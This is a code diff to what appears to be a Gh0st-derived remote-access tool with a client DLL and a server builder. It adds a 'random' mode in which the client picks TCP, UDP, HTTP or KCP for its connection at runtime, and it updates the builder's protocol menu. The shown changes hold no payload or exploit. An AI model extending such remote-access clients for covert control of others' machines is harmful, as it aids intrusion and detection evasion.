diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 4eafcf5..787da5c 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -13,7 +13,8 @@ // 远程地址 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_TCP, RUNNING_RANDOM, + FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {}, + 7057226198541618915, {}, }; // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 9537ecb..fcd97e0 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -161,6 +161,7 @@ + @@ -170,6 +171,7 @@ + @@ -192,6 +194,7 @@ + @@ -202,6 +205,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index f7857fe..2f7d311 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,15 +18,19 @@ // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { - if (!conn->IsVerified() || conn->protoType == PROTO_TCP) + if (conn->protoType == PROTO_HTTPS) return NULL; + + int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; + if (!conn->IsVerified() || type == PROTO_TCP) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType()); - if (conn->protoType == PROTO_UDP) + if (type == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); - if (conn->protoType == PROTO_HTTP) + if (type == PROTO_HTTP || type == PROTO_HTTPS) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType()); - if (conn->protoType == PROTO_KCP) { + if (type == PROTO_KCP) { return new IOCPKCPClient(bExit, exit_while_disconnect); } + return NULL; } diff --git a/common/commands.h b/common/commands.h index b5a5d59..39d29c5 100644 --- a/common/commands.h +++ b/common/commands.h @@ -541,8 +541,9 @@ enum ProtoType { PROTO_TCP = 0, // TCP PROTO_UDP = 1, // UDP PROTO_HTTP = 2, // HTTP - PROTO_HTTPS = 3, // HTTPS + PROTO_RANDOM = 3, // 随机 PROTO_KCP = 4, // KCP + PROTO_HTTPS = 5, // HTTPS }; #define KCP_SESSION_ID 666 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index abf1139..e1dae10 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index e84dc66..f74b1ff 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -215,6 +215,7 @@ void CBuildDlg::OnBnClickedOk() File.Write(szBuffer, dwFileSize); File.Close(); CString tip = index == IndexTestRun_DLL ? "\r\n提示: 请生成\"ServerDll.dll\",以便程序正常运行。" : ""; + tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。" : ""; MessageBox("生成成功! 文件位于:\r\n"+ strSeverFile + tip, "提示", MB_ICONINFORMATION); SAFE_DELETE_ARRAY(szBuffer); if (index == IndexTestRun_DLL) return; @@ -269,7 +270,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboProto.InsertString(PROTO_TCP, "TCP"); m_ComboProto.InsertString(PROTO_UDP, "UDP"); m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); - m_ComboProto.InsertString(PROTO_HTTPS, "---"); + m_ComboProto.InsertString(PROTO_RANDOM, "随机"); m_ComboProto.InsertString(PROTO_KCP, "KCP"); m_ComboProto.SetCurSel(PROTO_TCP);